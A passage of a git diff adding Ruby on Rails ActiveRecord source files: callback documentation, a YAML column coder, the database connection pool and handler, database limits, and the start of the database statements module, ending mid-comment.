+ # class Reply < Topic
+ # def before_destroy() destroy_readers end
+ # end
+ #
+ # In that case, <tt>Reply#destroy</tt> would only run +destroy_readers+ and _not_ +destroy_author+.
+ # So, use the callback macros when you want to ensure that a certain callback is called for the entire
+ # hierarchy, and use the regular overwritable methods when you want to leave it up to each descendant
+ # to decide whether they want to call +super+ and trigger the inherited callbacks.
+ #
+ # *IMPORTANT:* In order for inheritance to work for the callback queues, you must specify the
+ # callbacks before specifying the associations. Otherwise, you might trigger the loading of a
+ # child before the parent has registered the callbacks and they won't be inherited.
+ #
+ # == Types of callbacks
+ #
+ # There are four types of callbacks accepted by the callback macros: Method references (symbol), callback objects,
+ # inline methods (using a proc), and inline eval methods (using a string). Method references and callback objects
+ # are the recommended approaches, inline methods using a proc are sometimes appropriate (such as for
+ # creating mix-ins), and inline eval methods are deprecated.
+ #
+ # The method reference callbacks work by specifying a protected or private method available in the object, like this:
+ #
+ # class Topic < ActiveRecord::Base
+ # before_destroy :delete_parents
+ #
+ # private
+ # def delete_parents
+ # self.class.delete_all "parent_id = #{id}"
+ # end
+ # end
+ #
+ # The callback objects have methods named after the callback called with the record as the only parameter, such as:
+ #
+ # class BankAccount < ActiveRecord::Base
+ # before_save EncryptionWrapper.new
+ # after_save EncryptionWrapper.new
+ # after_initialize EncryptionWrapper.new
+ # end
+ #
+ # class EncryptionWrapper
+ # def before_save(record)
+ # record.credit_card_number = encrypt(record.credit_card_number)
+ # end
+ #
+ # def after_save(record)
+ # record.credit_card_number = decrypt(record.credit_card_number)
+ # end
+ #
+ # alias_method :after_find, :after_save
+ #
+ # private
+ # def encrypt(value)
+ # # Secrecy is committed
+ # end
+ #
+ # def decrypt(value)
+ # # Secrecy is unveiled
+ # end
+ # end
+ #
+ # So you specify the object you want messaged on a given callback. When that callback is triggered, the object has
+ # a method by the name of the callback messaged. You can make these callbacks more flexible by passing in other
+ # initialization data such as the name of the attribute to work with:
+ #
+ # class BankAccount < ActiveRecord::Base
+ # before_save EncryptionWrapper.new("credit_card_number")
+ # after_save EncryptionWrapper.new("credit_card_number")
+ # after_initialize EncryptionWrapper.new("credit_card_number")
+ # end
+ #
+ # class EncryptionWrapper
+ # def initialize(attribute)
+ # @attribute = attribute
+ # end
+ #
+ # def before_save(record)
+ # record.send("#{@attribute}=", encrypt(record.send("#{@attribute}")))
+ # end
+ #
+ # def after_save(record)
+ # record.send("#{@attribute}=", decrypt(record.send("#{@attribute}")))
+ # end
+ #
+ # alias_method :after_find, :after_save
+ #
+ # private
+ # def encrypt(value)
+ # # Secrecy is committed
+ # end
+ #
+ # def decrypt(value)
+ # # Secrecy is unveiled
+ # end
+ # end
+ #
+ # The callback macros usually accept a symbol for the method they're supposed to run, but you can also
+ # pass a "method string", which will then be evaluated within the binding of the callback. Example:
+ #
+ # class Topic < ActiveRecord::Base
+ # before_destroy 'self.class.delete_all "parent_id = #{id}"'
+ # end
+ #
+ # Notice that single quotes (') are used so the <tt>#{id}</tt> part isn't evaluated until the callback
+ # is triggered. Also note that these inline callbacks can be stacked just like the regular ones:
+ #
+ # class Topic < ActiveRecord::Base
+ # before_destroy 'self.class.delete_all "parent_id = #{id}"',
+ # 'puts "Evaluated after parents are destroyed"'
+ # end
+ #
+ # == <tt>before_validation*</tt> returning statements
+ #
+ # If the returning value of a +before_validation+ callback can be evaluated to +false+, the process will be
+ # aborted and <tt>Base#save</tt> will return +false+. If Base#save! is called it will raise a
+ # ActiveRecord::RecordInvalid exception. Nothing will be appended to the errors object.
+ #
+ # == Canceling callbacks
+ #
+ # If a <tt>before_*</tt> callback returns +false+, all the later callbacks and the associated action are
+ # cancelled. If an <tt>after_*</tt> callback returns +false+, all the later callbacks are cancelled.
+ # Callbacks are generally run in the order they are defined, with the exception of callbacks defined as
+ # methods on the model, which are called last.
+ #
+ # == Ordering callbacks
+ #
+ # Sometimes the code needs that the callbacks execute in a specific order. For example, a +before_destroy+
+ # callback (+log_children+ in this case) should be executed before the children get destroyed by the +dependent: destroy+ option.
+ #
+ # Let's look at the code below:
+ #
+ # class Topic < ActiveRecord::Base
+ # has_many :children, dependent: destroy
+ #
+ # before_destroy :log_children
+ #
+ # private
+ # def log_children
+ # # Child processing
+ # end
+ # end
+ #
+ # In this case, the problem is that when the +before_destroy+ callback is executed, the children are not available
+ # because the +destroy+ callback gets executed first. You can use the +prepend+ option on the +before_destroy+ callback to avoid this.
+ #
+ # class Topic < ActiveRecord::Base
+ # has_many :children, dependent: destroy
+ #
+ # before_destroy :log_children, prepend: true
+ #
+ # private
+ # def log_children
+ # # Child processing
+ # end
+ # end
+ #
+ # This way, the +before_destroy+ gets executed before the <tt>dependent: destroy</tt> is called, and the data is still available.
+ #
+ # == Transactions
+ #
+ # The entire callback chain of a +save+, <tt>save!</tt>, or +destroy+ call runs
+ # within a transaction. That includes <tt>after_*</tt> hooks. If everything
+ # goes fine a COMMIT is executed once the chain has been completed.
+ #
+ # If a <tt>before_*</tt> callback cancels the action a ROLLBACK is issued. You
+ # can also trigger a ROLLBACK raising an exception in any of the callbacks,
+ # including <tt>after_*</tt> hooks. Note, however, that in that case the client
+ # needs to be aware of it because an ordinary +save+ will raise such exception
+ # instead of quietly returning +false+.
+ #
+ # == Debugging callbacks
+ #
+ # The callback chain is accessible via the <tt>_*_callbacks</tt> method on an object. ActiveModel Callbacks support
+ # <tt>:before</tt>, <tt>:after</tt> and <tt>:around</tt> as values for the <tt>kind</tt> property. The <tt>kind</tt> property
+ # defines what part of the chain the callback runs in.
+ #
+ # To find all callbacks in the before_save callback chain:
+ #
+ # Topic._save_callbacks.select { |cb| cb.kind.eql?(:before) }
+ #
+ # Returns an array of callback objects that form the before_save chain.
+ #
+ # To further check if the before_save chain contains a proc defined as <tt>rest_when_dead</tt> use the <tt>filter</tt> property of the callback object:
+ #
+ # Topic._save_callbacks.select { |cb| cb.kind.eql?(:before) }.collect(&:filter).include?(:rest_when_dead)
+ #
+ # Returns true or false depending on whether the proc is contained in the before_save callback chain on a Topic model.
+ #
+ module Callbacks
+ extend ActiveSupport::Concern
+
+ CALLBACKS = [
+ :after_initialize, :after_find, :after_touch, :before_validation, :after_validation,
+ :before_save, :around_save, :after_save, :before_create, :around_create,
+ :after_create, :before_update, :around_update, :after_update,
+ :before_destroy, :around_destroy, :after_destroy, :after_commit, :after_rollback
+ ]
+
+ module ClassMethods
+ include ActiveModel::Callbacks
+ end
+
+ included do
+ include ActiveModel::Validations::Callbacks
+
+ define_model_callbacks :initialize, :find, :touch, :only => :after
+ define_model_callbacks :save, :create, :update, :destroy
+ end
+
+ def destroy #:nodoc:
+ run_callbacks(:destroy) { super }
+ end
+
+ def touch(*) #:nodoc:
+ run_callbacks(:touch) { super }
+ end
+
+ private
+
+ def create_or_update #:nodoc:
+ run_callbacks(:save) { super }
+ end
+
+ def create_record #:nodoc:
+ run_callbacks(:create) { super }
+ end
+
+ def update_record(*) #:nodoc:
+ run_callbacks(:update) { super }
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/coders/yaml_column.rb b/activerecord/lib/active_record/coders/yaml_column.rb
new file mode 100644
index 0000000..d3d7396
--- /dev/null
+++ b/activerecord/lib/active_record/coders/yaml_column.rb
@@ -0,0 +1,38 @@
+require 'yaml'
+
+module ActiveRecord
+ module Coders # :nodoc:
+ class YAMLColumn # :nodoc:
+
+ attr_accessor :object_class
+
+ def initialize(object_class = Object)
+ @object_class = object_class
+ end
+
+ def dump(obj)
+ return if obj.nil?
+
+ unless obj.is_a?(object_class)
+ raise SerializationTypeMismatch,
+ "Attribute was supposed to be a #{object_class}, but was a #{obj.class}. -- #{obj.inspect}"
+ end
+ YAML.dump obj
+ end
+
+ def load(yaml)
+ return object_class.new if object_class != Object && yaml.nil?
+ return yaml unless yaml.is_a?(String) && yaml =~ /^---/
+ obj = YAML.load(yaml)
+
+ unless obj.is_a?(object_class) || obj.nil?
+ raise SerializationTypeMismatch,
+ "Attribute was supposed to be a #{object_class}, but was a #{obj.class}"
+ end
+ obj ||= object_class.new if object_class != Object
+
+ obj
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
new file mode 100644
index 0000000..816b397
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
@@ -0,0 +1,638 @@
+require 'thread'
+require 'thread_safe'
+require 'monitor'
+require 'set'
+
+module ActiveRecord
+ # Raised when a connection could not be obtained within the connection
+ # acquisition timeout period: because max connections in pool
+ # are in use.
+ class ConnectionTimeoutError < ConnectionNotEstablished
+ end
+
+ module ConnectionAdapters
+ # Connection pool base class for managing Active Record database
+ # connections.
+ #
+ # == Introduction
+ #
+ # A connection pool synchronizes thread access to a limited number of
+ # database connections. The basic idea is that each thread checks out a
+ # database connection from the pool, uses that connection, and checks the
+ # connection back in. ConnectionPool is completely thread-safe, and will
+ # ensure that a connection cannot be used by two threads at the same time,
+ # as long as ConnectionPool's contract is correctly followed. It will also
+ # handle cases in which there are more threads than connections: if all
+ # connections have been checked out, and a thread tries to checkout a
+ # connection anyway, then ConnectionPool will wait until some other thread
+ # has checked in a connection.
+ #
+ # == Obtaining (checking out) a connection
+ #
+ # Connections can be obtained and used from a connection pool in several
+ # ways:
+ #
+ # 1. Simply use ActiveRecord::Base.connection as with Active Record 2.1 and
+ # earlier (pre-connection-pooling). Eventually, when you're done with
+ # the connection(s) and wish it to be returned to the pool, you call
+ # ActiveRecord::Base.clear_active_connections!. This will be the
+ # default behavior for Active Record when used in conjunction with
+ # Action Pack's request handling cycle.
+ # 2. Manually check out a connection from the pool with
+ # ActiveRecord::Base.connection_pool.checkout. You are responsible for
+ # returning this connection to the pool when finished by calling
+ # ActiveRecord::Base.connection_pool.checkin(connection).
+ # 3. Use ActiveRecord::Base.connection_pool.with_connection(&block), which
+ # obtains a connection, yields it as the sole argument to the block,
+ # and returns it to the pool after the block completes.
+ #
+ # Connections in the pool are actually AbstractAdapter objects (or objects
+ # compatible with AbstractAdapter's interface).
+ #
+ # == Options
+ #
+ # There are several connection-pooling-related options that you can add to
+ # your database connection configuration:
+ #
+ # * +pool+: number indicating size of connection pool (default 5)
+ # * +checkout_timeout+: number of seconds to block and wait for a connection
+ # before giving up and raising a timeout error (default 5 seconds).
+ # * +reaping_frequency+: frequency in seconds to periodically run the
+ # Reaper, which attempts to find and close dead connections, which can
+ # occur if a programmer forgets to close a connection at the end of a
+ # thread or a thread dies unexpectedly. (Default nil, which means don't
+ # run the Reaper).
+ # * +dead_connection_timeout+: number of seconds from last checkout
+ # after which the Reaper will consider a connection reapable. (default
+ # 5 seconds).
+ class ConnectionPool
+ # Threadsafe, fair, FIFO queue. Meant to be used by ConnectionPool
+ # with which it shares a Monitor. But could be a generic Queue.
+ #
+ # The Queue in stdlib's 'thread' could replace this class except
+ # stdlib's doesn't support waiting with a timeout.
+ class Queue
+ def initialize(lock = Monitor.new)
+ @lock = lock
+ @cond = @lock.new_cond
+ @num_waiting = 0
+ @queue = []
+ end
+
+ # Test if any threads are currently waiting on the queue.
+ def any_waiting?
+ synchronize do
+ @num_waiting > 0
+ end
+ end
+
+ # Return the number of threads currently waiting on this
+ # queue.
+ def num_waiting
+ synchronize do
+ @num_waiting
+ end
+ end
+
+ # Add +element+ to the queue. Never blocks.
+ def add(element)
+ synchronize do
+ @queue.push element
+ @cond.signal
+ end
+ end
+
+ # If +element+ is in the queue, remove and return it, or nil.
+ def delete(element)
+ synchronize do
+ @queue.delete(element)
+ end
+ end
+
+ # Remove all elements from the queue.
+ def clear
+ synchronize do
+ @queue.clear
+ end
+ end
+
+ # Remove the head of the queue.
+ #
+ # If +timeout+ is not given, remove and return the head the
+ # queue if the number of available elements is strictly
+ # greater than the number of threads currently waiting (that
+ # is, don't jump ahead in line). Otherwise, return nil.
+ #
+ # If +timeout+ is given, block if it there is no element
+ # available, waiting up to +timeout+ seconds for an element to
+ # become available.
+ #
+ # Raises:
+ # - ConnectionTimeoutError if +timeout+ is given and no element
+ # becomes available after +timeout+ seconds,
+ def poll(timeout = nil)
+ synchronize do
+ if timeout
+ no_wait_poll || wait_poll(timeout)
+ else
+ no_wait_poll
+ end
+ end
+ end
+
+ private
+
+ def synchronize(&block)
+ @lock.synchronize(&block)
+ end
+
+ # Test if the queue currently contains any elements.
+ def any?
+ !@queue.empty?
+ end
+
+ # A thread can remove an element from the queue without
+ # waiting if an only if the number of currently available
+ # connections is strictly greater than the number of waiting
+ # threads.
+ def can_remove_no_wait?
+ @queue.size > @num_waiting
+ end
+
+ # Removes and returns the head of the queue if possible, or nil.
+ def remove
+ @queue.shift
+ end
+
+ # Remove and return the head the queue if the number of
+ # available elements is strictly greater than the number of
+ # threads currently waiting. Otherwise, return nil.
+ def no_wait_poll
+ remove if can_remove_no_wait?
+ end
+
+ # Waits on the queue up to +timeout+ seconds, then removes and
+ # returns the head of the queue.
+ def wait_poll(timeout)
+ @num_waiting += 1
+
+ t0 = Time.now
+ elapsed = 0
+ loop do
+ @cond.wait(timeout - elapsed)
+
+ return remove if any?
+
+ elapsed = Time.now - t0
+ if elapsed >= timeout
+ msg = 'could not obtain a database connection within %0.3f seconds (waited %0.3f seconds)' %
+ [timeout, elapsed]
+ raise ConnectionTimeoutError, msg
+ end
+ end
+ ensure
+ @num_waiting -= 1
+ end
+ end
+
+ # Every +frequency+ seconds, the reaper will call +reap+ on +pool+.
+ # A reaper instantiated with a nil frequency will never reap the
+ # connection pool.
+ #
+ # Configure the frequency by setting "reaping_frequency" in your
+ # database yaml file.
+ class Reaper
+ attr_reader :pool, :frequency
+
+ def initialize(pool, frequency)
+ @pool = pool
+ @frequency = frequency
+ end
+
+ def run
+ return unless frequency
+ Thread.new(frequency, pool) { |t, p|
+ while true
+ sleep t
+ p.reap
+ end
+ }
+ end
+ end
+
+ include MonitorMixin
+
+ attr_accessor :automatic_reconnect, :checkout_timeout, :dead_connection_timeout
+ attr_reader :spec, :connections, :size, :reaper
+
+ # Creates a new ConnectionPool object. +spec+ is a ConnectionSpecification
+ # object which describes database connection information (e.g. adapter,
+ # host name, username, password, etc), as well as the maximum size for
+ # this ConnectionPool.
+ #
+ # The default ConnectionPool maximum size is 5.
+ def initialize(spec)
+ super()
+
+ @spec = spec
+
+ @checkout_timeout = spec.config[:checkout_timeout] || 5
+ @dead_connection_timeout = spec.config[:dead_connection_timeout] || 5
+ @reaper = Reaper.new self, spec.config[:reaping_frequency]
+ @reaper.run
+
+ # default max pool size to 5
+ @size = (spec.config[:pool] && spec.config[:pool].to_i) || 5
+
+ # The cache of reserved connections mapped to threads
+ @reserved_connections = ThreadSafe::Cache.new(:initial_capacity => @size)
+
+ @connections = []
+ @automatic_reconnect = true
+
+ @available = Queue.new self
+ end
+
+ # Retrieve the connection associated with the current thread, or call
+ # #checkout to obtain one if necessary.
+ #
+ # #connection can be called any number of times; the connection is
+ # held in a hash keyed by the thread id.
+ def connection
+ # this is correctly done double-checked locking
+ # (ThreadSafe::Cache's lookups have volatile semantics)
+ @reserved_connections[current_connection_id] || synchronize do
+ @reserved_connections[current_connection_id] ||= checkout
+ end
+ end
+
+ # Is there an open connection that is being used for the current thread?
+ def active_connection?
+ synchronize do
+ @reserved_connections.fetch(current_connection_id) {
+ return false
+ }.in_use?
+ end
+ end
+
+ # Signal that the thread is finished with the current connection.
+ # #release_connection releases the connection-thread association
+ # and returns the connection to the pool.
+ def release_connection(with_id = current_connection_id)
+ synchronize do
+ conn = @reserved_connections.delete(with_id)
+ checkin conn if conn
+ end
+ end
+
+ # If a connection already exists yield it to the block. If no connection
+ # exists checkout a connection, yield it to the block, and checkin the
+ # connection when finished.
+ def with_connection
+ connection_id = current_connection_id
+ fresh_connection = true unless active_connection?
+ yield connection
+ ensure
+ release_connection(connection_id) if fresh_connection
+ end
+
+ # Returns true if a connection has already been opened.
+ def connected?
+ synchronize { @connections.any? }
+ end
+
+ # Disconnects all connections in the pool, and clears the pool.
+ def disconnect!
+ synchronize do
+ @reserved_connections.clear
+ @connections.each do |conn|
+ checkin conn
+ conn.disconnect!
+ end
+ @connections = []
+ @available.clear
+ end
+ end
+
+ # Clears the cache which maps classes.
+ def clear_reloadable_connections!
+ synchronize do
+ @reserved_connections.clear
+ @connections.each do |conn|
+ checkin conn
+ conn.disconnect! if conn.requires_reloading?
+ end
+ @connections.delete_if do |conn|
+ conn.requires_reloading?
+ end
+ @available.clear
+ @connections.each do |conn|
+ @available.add conn
+ end
+ end
+ end
+
+ def clear_stale_cached_connections! # :nodoc:
+ reap
+ end
+ deprecate :clear_stale_cached_connections! => "Please use #reap instead"
+
+ # Check-out a database connection from the pool, indicating that you want
+ # to use it. You should call #checkin when you no longer need this.
+ #
+ # This is done by either returning and leasing existing connection, or by
+ # creating a new connection and leasing it.
+ #
+ # If all connections are leased and the pool is at capacity (meaning the
+ # number of currently leased connections is greater than or equal to the
+ # size limit set), an ActiveRecord::ConnectionTimeoutError exception will be raised.
+ #
+ # Returns: an AbstractAdapter object.
+ #
+ # Raises:
+ # - ConnectionTimeoutError: no connection can be obtained from the pool.
+ def checkout
+ synchronize do
+ conn = acquire_connection
+ conn.lease
+ checkout_and_verify(conn)
+ end
+ end
+
+ # Check-in a database connection back into the pool, indicating that you
+ # no longer need this connection.
+ #
+ # +conn+: an AbstractAdapter object, which was obtained by earlier by
+ # calling +checkout+ on this pool.
+ def checkin(conn)
+ synchronize do
+ conn.run_callbacks :checkin do
+ conn.expire
+ end
+
+ release conn
+
+ @available.add conn
+ end
+ end
+
+ # Remove a connection from the connection pool. The connection will
+ # remain open and active but will no longer be managed by this pool.
+ def remove(conn)
+ synchronize do
+ @connections.delete conn
+ @available.delete conn
+
+ # FIXME: we might want to store the key on the connection so that removing
+ # from the reserved hash will be a little easier.
+ release conn
+
+ @available.add checkout_new_connection if @available.any_waiting?
+ end
+ end
+
+ # Removes dead connections from the pool. A dead connection can occur
+ # if a programmer forgets to close a connection at the end of a thread
+ # or a thread dies unexpectedly.
+ def reap
+ synchronize do
+ stale = Time.now - @dead_connection_timeout
+ connections.dup.each do |conn|
+ if conn.in_use? && stale > conn.last_use && !conn.active?
+ remove conn
+ end
+ end
+ end
+ end
+
+ private
+
+ # Acquire a connection by one of 1) immediately removing one
+ # from the queue of available connections, 2) creating a new
+ # connection if the pool is not at capacity, 3) waiting on the
+ # queue for a connection to become available.
+ #
+ # Raises:
+ # - ConnectionTimeoutError if a connection could not be acquired
+ def acquire_connection
+ if conn = @available.poll
+ conn
+ elsif @connections.size < @size
+ checkout_new_connection
+ else
+ @available.poll(@checkout_timeout)
+ end
+ end
+
+ def release(conn)
+ thread_id = if @reserved_connections[current_connection_id] == conn
+ current_connection_id
+ else
+ @reserved_connections.keys.find { |k|
+ @reserved_connections[k] == conn
+ }
+ end
+
+ @reserved_connections.delete thread_id if thread_id
+ end
+
+ def new_connection
+ Base.send(spec.adapter_method, spec.config)
+ end
+
+ def current_connection_id #:nodoc:
+ Base.connection_id ||= Thread.current.object_id
+ end
+
+ def checkout_new_connection
+ raise ConnectionNotEstablished unless @automatic_reconnect
+
+ c = new_connection
+ c.pool = self
+ @connections << c
+ c
+ end
+
+ def checkout_and_verify(c)
+ c.run_callbacks :checkout do
+ c.verify!
+ end
+ c
+ end
+ end
+
+ # ConnectionHandler is a collection of ConnectionPool objects. It is used
+ # for keeping separate connection pools for Active Record models that connect
+ # to different databases.
+ #
+ # For example, suppose that you have 5 models, with the following hierarchy:
+ #
+ # |
+ # +-- Book
+ # | |
+ # | +-- ScaryBook
+ # | +-- GoodBook
+ # +-- Author
+ # +-- BankAccount
+ #
+ # Suppose that Book is to connect to a separate database (i.e. one other
+ # than the default database). Then Book, ScaryBook and GoodBook will all use
+ # the same connection pool. Likewise, Author and BankAccount will use the
+ # same connection pool. However, the connection pool used by Author/BankAccount
+ # is not the same as the one used by Book/ScaryBook/GoodBook.
+ #
+ # Normally there is only a single ConnectionHandler instance, accessible via
+ # ActiveRecord::Base.connection_handler. Active Record models use this to
+ # determine the connection pool that they should use.
+ class ConnectionHandler
+ def initialize
+ # These caches are keyed by klass.name, NOT klass. Keying them by klass
+ # alone would lead to memory leaks in development mode as all previous
+ # instances of the class would stay in memory.
+ @owner_to_pool = ThreadSafe::Cache.new(:initial_capacity => 2) do |h,k|
+ h[k] = ThreadSafe::Cache.new(:initial_capacity => 2)
+ end
+ @class_to_pool = ThreadSafe::Cache.new(:initial_capacity => 2) do |h,k|
+ h[k] = ThreadSafe::Cache.new
+ end
+ end
+
+ def connection_pool_list
+ owner_to_pool.values.compact
+ end
+
+ def connection_pools
+ ActiveSupport::Deprecation.warn(
+ "In the next release, this will return the same as #connection_pool_list. " \
+ "(An array of pools, rather than a hash mapping specs to pools.)"
+ )
+ Hash[connection_pool_list.map { |pool| [pool.spec, pool] }]
+ end
+
+ def establish_connection(owner, spec)
+ @class_to_pool.clear
+ raise RuntimeError, "Anonymous class is not allowed." unless owner.name
+ owner_to_pool[owner.name] = ConnectionAdapters::ConnectionPool.new(spec)
+ end
+
+ # Returns true if there are any active connections among the connection
+ # pools that the ConnectionHandler is managing.
+ def active_connections?
+ connection_pool_list.any?(&:active_connection?)
+ end
+
+ # Returns any connections in use by the current thread back to the pool,
+ # and also returns connections to the pool cached by threads that are no
+ # longer alive.
+ def clear_active_connections!
+ connection_pool_list.each(&:release_connection)
+ end
+
+ # Clears the cache which maps classes.
+ def clear_reloadable_connections!
+ connection_pool_list.each(&:clear_reloadable_connections!)
+ end
+
+ def clear_all_connections!
+ connection_pool_list.each(&:disconnect!)
+ end
+
+ # Locate the connection of the nearest super class. This can be an
+ # active or defined connection: if it is the latter, it will be
+ # opened and set as the active connection for the class it was defined
+ # for (not necessarily the current class).
+ def retrieve_connection(klass) #:nodoc:
+ pool = retrieve_connection_pool(klass)
+ (pool && pool.connection) or raise ConnectionNotEstablished
+ end
+
+ # Returns true if a connection that's accessible to this class has
+ # already been opened.
+ def connected?(klass)
+ conn = retrieve_connection_pool(klass)
+ conn && conn.connected?
+ end
+
+ # Remove the connection for this class. This will close the active
+ # connection and the defined connection (if they exist). The result
+ # can be used as an argument for establish_connection, for easily
+ # re-establishing the connection.
+ def remove_connection(owner)
+ if pool = owner_to_pool.delete(owner.name)
+ @class_to_pool.clear
+ pool.automatic_reconnect = false
+ pool.disconnect!
+ pool.spec.config
+ end
+ end
+
+ # Retrieving the connection pool happens a lot so we cache it in @class_to_pool.
+ # This makes retrieving the connection pool O(1) once the process is warm.
+ # When a connection is established or removed, we invalidate the cache.
+ #
+ # Ideally we would use #fetch here, as class_to_pool[klass] may sometimes be nil.
+ # However, benchmarking (https://gist.github.com/jonleighton/3552829) showed that
+ # #fetch is significantly slower than #[]. So in the nil case, no caching will
+ # take place, but that's ok since the nil case is not the common one that we wish
+ # to optimise for.
+ def retrieve_connection_pool(klass)
+ class_to_pool[klass.name] ||= begin
+ until pool = pool_for(klass)
+ klass = klass.superclass
+ break unless klass <= Base
+ end
+
+ class_to_pool[klass.name] = pool
+ end
+ end
+
+ private
+
+ def owner_to_pool
+ @owner_to_pool[Process.pid]
+ end
+
+ def class_to_pool
+ @class_to_pool[Process.pid]
+ end
+
+ def pool_for(owner)
+ owner_to_pool.fetch(owner.name) {
+ if ancestor_pool = pool_from_any_process_for(owner)
+ # A connection was established in an ancestor process that must have
+ # subsequently forked. We can't reuse the connection, but we can copy
+ # the specification and establish a new connection with it.
+ establish_connection owner, ancestor_pool.spec
+ else
+ owner_to_pool[owner.name] = nil
+ end
+ }
+ end
+
+ def pool_from_any_process_for(owner)
+ owner_to_pool = @owner_to_pool.values.find { |v| v[owner.name] }
+ owner_to_pool && owner_to_pool[owner.name]
+ end
+ end
+
+ class ConnectionManagement
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ testing = env.key?('rack.test')
+
+ response = @app.call(env)
+ response[2] = ::Rack::BodyProxy.new(response[2]) do
+ ActiveRecord::Base.clear_active_connections! unless testing
+ end
+
+ response
+ rescue
+ ActiveRecord::Base.clear_active_connections! unless testing
+ raise
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb
new file mode 100644
index 0000000..c0a2111
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/database_limits.rb
@@ -0,0 +1,67 @@
+module ActiveRecord
+ module ConnectionAdapters # :nodoc:
+ module DatabaseLimits
+
+ # Returns the maximum length of a table alias.
+ def table_alias_length
+ 255
+ end
+
+ # Returns the maximum length of a column name.
+ def column_name_length
+ 64
+ end
+
+ # Returns the maximum length of a table name.
+ def table_name_length
+ 64
+ end
+
+ # Returns the maximum allowed length for an index name. This
+ # limit is enforced by rails and Is less than or equal to
+ # <tt>index_name_length</tt>. The gap between
+ # <tt>index_name_length</tt> is to allow internal rails
+ # operations to use prefixes in temporary operations.
+ def allowed_index_name_length
+ index_name_length
+ end
+
+ # Returns the maximum length of an index name.
+ def index_name_length
+ 64
+ end
+
+ # Returns the maximum number of columns per table.
+ def columns_per_table
+ 1024
+ end
+
+ # Returns the maximum number of indexes per table.
+ def indexes_per_table
+ 16
+ end
+
+ # Returns the maximum number of columns in a multicolumn index.
+ def columns_per_multicolumn_index
+ 16
+ end
+
+ # Returns the maximum number of elements in an IN (x,y,z) clause.
+ # nil means no limit.
+ def in_clause_length
+ nil
+ end
+
+ # Returns the maximum length of an SQL query.
+ def sql_query_length
+ 1048575
+ end
+
+ # Returns maximum number of joins in a single query.
+ def joins_per_query
+ 256
+ end
+
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
new file mode 100644
index 0000000..c64b542
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
@@ -0,0 +1,390 @@
+module ActiveRecord
+ module ConnectionAdapters # :nodoc:
+ module DatabaseStatements
+ def initialize
+ super
+ reset_transaction
+ end
+
+ # Converts an arel AST to SQL
+ def to_sql(arel, binds = [])
+ if arel.respond_to?(:ast)
+ binds = binds.dup
+ visitor.accept(arel.ast) do
+ quote(*binds.shift.reverse)
+ end
+ else
+ arel
+ end
+ end
+
+ # Returns an array of record hashes with the column names as keys and
+ # column values as values.
+ def select_all(arel, name = nil, binds = [])
+ select(to_sql(arel, binds), name, binds)
+ end
+
+ # Returns a record hash with the column names as keys and column values
+ # as values.
+ def select_one(arel, name = nil, binds = [])
+ result = select_all(arel, name, binds)
+ result.first if result
+ end
+
+ # Returns a single value from a record
+ def select_value(arel, name = nil, binds = [])
+ if result = select_one(arel, name, binds)
+ result.values.first
+ end
+ end
+
+ # Returns an array of the values of the first column in a select:
+ # select_values("SELECT id FROM companies LIMIT 3") => [1,2,3]
+ def select_values(arel, name = nil)
+ result = select_rows(to_sql(arel, []), name)
+ result.map { |v| v[0] }
+ end
+
+ # Returns an array of arrays containing the field values.
+ # Order is the same as that returned by +columns+.
+ def select_rows(sql, name = nil)
+ end
+ undef_method :select_rows
+
+ # Executes the SQL statement in the context of this connection.
+ def execute(sql, name = nil)
+ end
+ undef_method :execute
+
+ # Executes +sql+ statement in the context of this connection using
+ # +binds+ as the bind substitutes. +name+ is logged along with
+ # the executed +sql+ statement.
+ def exec_query(sql, name = 'SQL', binds = [])
+ end
+
+ # Executes insert +sql+ statement in the context of this connection using
+ # +binds+ as the bind substitutes. +name+ is logged along with
+ # the executed +sql+ statement.
+ def exec_insert(sql, name, binds, pk = nil, sequence_name = nil)
+ exec_query(sql, name, binds)
+ end
+
+ # Executes delete +sql+ statement in the context of this connection using
+ # +binds+ as the bind substitutes. +name+ is logged along with
+ # the executed +sql+ statement.
+ def exec_delete(sql, name, binds)
+ exec_query(sql, name, binds)
+ end
+
+ # Executes update +sql+ statement in the context of this connection using
+ # +binds+ as the bind substitutes. +name+ is logged along with
+ # the executed +sql+ statement.
+ def exec_update(sql, name, binds)
+ exec_query(sql, name, binds)
+ end
+
+ # Returns the last auto-generated ID from the affected table.
+ #
+ # +id_value+ will be returned unless the value is nil, in
+ # which case the database will attempt to calculate the last inserted
+ # id and return that value.
+ #
+ # If the next id was calculated in advance (as in Oracle), it should be
+ # passed in as +id_value+.
+ def insert(arel, name = nil, pk = nil, id_value = nil, sequence_name = nil, binds = [])
+ sql, binds = sql_for_insert(to_sql(arel, binds), pk, id_value, sequence_name, binds)
+ value = exec_insert(sql, name, binds, pk, sequence_name)
+ id_value || last_inserted_id(value)
+ end
+
+ # Executes the update statement and returns the number of rows affected.
+ def update(arel, name = nil, binds = [])
+ exec_update(to_sql(arel, binds), name, binds)
+ end
+
+ # Executes the delete statement and returns the number of rows affected.
+ def delete(arel, name = nil, binds = [])
+ exec_delete(to_sql(arel, binds), name, binds)
+ end
+
+ # Returns +true+ when the connection adapter supports prepared statement
+ # caching, otherwise returns +false+
+ def supports_statement_cache?
+ false
+ end
+
+ # Runs the given block in a database transaction, and returns the result
+ # of the block.
+ #
+ # == Nested transactions support
+ #
+ # Most databases don't support true nested transactions. At the time of
+ # writing, the only database that supports true nested transactions that
+ # we're aware of, is MS-SQL.
+ #
+ # In order to get around this problem, #transaction will emulate the effect
+ # of nested transactions, by using savepoints:
+ # http://dev.mysql.com/doc/refman/5.0/en/savepoint.html
+ # Savepoints are supported by MySQL and PostgreSQL. SQLite3 version >= '3.6.8'
+ # supports savepoints.
+ #
+ # It is safe to call this method if a database transaction is already open,
+ # i.e. if #transaction is called within another #transaction block. In case
+ # of a nested call, #transaction will behave as follows:
+ #
+ # - The block will be run without doing anything. All database statements
+ # that happen within the block are effectively appended to the already
